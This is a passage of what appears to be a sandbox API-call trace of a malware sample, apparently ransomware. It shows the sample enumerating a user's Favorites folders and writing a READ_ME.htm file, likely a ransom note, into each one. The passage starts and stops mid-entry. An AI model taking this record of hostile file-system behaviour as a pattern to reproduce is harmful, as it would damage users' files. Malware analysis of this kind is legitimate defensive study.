lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0155.284] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.284] SetErrorMode (uMode=0x0) returned 0x1 [0155.284] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Links", lpFilePart=0x0) returned 0x22 [0155.285] SetErrorMode (uMode=0x1) returned 0x0 [0155.285] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.285] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.285] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.285] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0155.285] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0155.285] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.286] SetErrorMode (uMode=0x0) returned 0x1 [0155.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Links\\READ_ME.htm", lpFilePart=0x0) returned 0x2e [0155.286] SetErrorMode (uMode=0x1) returned 0x0 [0155.286] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.289] GetFileType (hFile=0x1d0) returned 0x1 [0155.289] SetErrorMode (uMode=0x0) returned 0x1 [0155.289] GetFileType (hFile=0x1d0) returned 0x1 [0155.289] WriteFile (in: hFile=0x1d0, lpBuffer=0x29cc3d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29cc3d0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0155.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2f [0155.292] SetErrorMode (uMode=0x1) returned 0x0 [0155.292] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee50dc0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0155.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee4e6b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0155.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee55be0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0155.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0155.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0155.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0155.297] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.298] SetErrorMode (uMode=0x0) returned 0x1 [0155.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2f [0155.299] SetErrorMode (uMode=0x1) returned 0x0 [0155.299] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.300] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.300] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee50dc0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0155.300] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee4e6b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0155.300] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee55be0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0155.300] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0155.300] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0155.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0155.301] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.302] SetErrorMode (uMode=0x0) returned 0x1 [0155.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0155.302] SetErrorMode (uMode=0x1) returned 0x0 [0155.302] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.305] GetFileType (hFile=0x1d0) returned 0x1 [0155.305] SetErrorMode (uMode=0x0) returned 0x1 [0155.305] GetFileType (hFile=0x1d0) returned 0x1 [0155.305] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d3018*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29d3018*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0155.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x29 [0155.307] SetErrorMode (uMode=0x1) returned 0x0 [0155.307] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.310] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.310] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0155.310] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a2a610, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a2a610, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0155.311] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799b81f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0155.311] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0155.311] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0155.311] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0155.311] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0155.311] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.312] SetErrorMode (uMode=0x0) returned 0x1 [0155.313] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x29 [0155.313] SetErrorMode (uMode=0x1) returned 0x0 [0155.313] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0155.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a2a610, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a2a610, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0155.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799b81f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0155.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0155.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0155.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, 